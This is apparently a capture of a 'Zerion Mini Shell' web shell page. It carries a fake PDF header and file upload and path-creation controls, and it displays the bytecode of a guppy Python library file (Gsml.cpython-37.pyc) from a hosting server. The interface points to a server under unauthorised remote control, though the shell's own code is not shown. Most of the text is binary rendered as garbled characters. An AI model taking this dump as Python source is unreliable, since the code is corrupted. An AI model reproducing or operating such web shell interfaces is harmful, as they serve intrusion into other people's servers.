%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/guppy/gsl/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/guppy/gsl/__pycache__/Gsml.cpython-37.pyc

B

�]�
�@s Gdd�d�ZGdd�d�ZdS)c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�GsmlHandlercCs^|j�|j�g|_|rZg}x$|D]\}}|�|j�||��q"W|j�|j�dd|��dS)N�with�)�stack�append�out�mod�node_of_taci)�self�tagZattrsZat�k�v�r
�A/opt/alt/python37/lib64/python3.7/site-packages/guppy/gsl/Gsml.py�handle_starttagszGsmlHandler.handle_starttagcCs.|j�|d|j�}|j��|_|j�|�dS)Nr)rrrr�popr)r	r
�noder
r
r�
handle_endtag
szGsmlHandler.handle_endtagcCsz|dd�dkr,t|dd�d�}d|}nt|�}d|krHdkr`nnt|�}|�|�n|j�|j�d|��dS)N��x��0���char)�int�chr�handle_datarrrr)r	�namerr
r
r�handle_charrefs
zGsmlHandler.handle_charrefcCs0||jjkr|�|�|j�|j�d|��dS)Nr)rZ
entitydefs�unknown_entityrefrrr)r	rr
r
r�handle_entityrefs
zGsmlHandler.handle_entityrefcCstd|��dS)NzUnknown entity ref: %r)�SyntaxError)r	rr
r
rr#szGsmlHandler.unknown_entityrefcCs |��r|j�|j�|��dS)N)�stripr�extendrZ
nodes_of_text)r	�datar
r
rr&szGsmlHandler.handle_datacCs|j�|j�d|dd��dS)N�commentr
r)rrrr)r	r$r
r
r�handle_comment+szGsmlHandler.handle_commentcCs|j�|j�d|��dS)NZhtml_declaration)rrrr)r	Zdeclr
r
r�handle_decl.szGsmlHandler.handle_declcCs|j�|j�d|��dS)NZprocessing_instruction)rrrr)r	r$r
r
r�	handle_pi1szGsmlHandler.handle_piN)�__name__�
__module__�__qualname__rrrr rrr&r'r(r
r
r
rrs	rc@s$eZdZdZdZdd�Zdd�ZdS)�_GLUECLAMP_)z_root.html.parser:HTMLParserz_parent.SpecNodes:node_of_taciz_parent.SpecNodes:nodes_of_textz_root.htmlentitydefs:entitydefsz
iso-8859-1cCsRGdd�dt|j�}||�}|�|�|��|jr<td��|�dd|jd�}|S)Nc@seZdZdd�ZdS)z(_GLUECLAMP_.node_of_gsml.<locals>.ParsercSs"|j�|�||_g|_g|_dS)N)�
HTMLParser�__init__rrr)r	rr
r
rr.Asz1_GLUECLAMP_.node_of_gsml.<locals>.Parser.__init__N)r)r*r+r.r
r
r
r�Parser@sr/zMissing end tag�blockrr)rr-Zfeed�closerr!rr)r	�textr/�prr
r
r�node_of_gsml?s
z_GLUECLAMP_.node_of_gsmlcCsd}|�|�}t|�dS)Na
<!DOCTYPE html...>
This is an <em> emphasized </em> word.
See also <a href="guppy-pe.sf.net"> Guppy. </a>
Defined as <use_my_macro/>.

Handle char ref: &#100;.
Handle char ref: &lt;.

<!-- A comment -->

<?A processing instruction>

<namespace:tag />
        )r4�print)r	rrr
r
r�_test_main_Os
z_GLUECLAMP_._test_main_N)r)r*r+Z	_imports_�encodingr4r6r
r
r
rr,5sr,N)rr,r
r
r
r�<module>s4

Zerion Mini Shell 1.0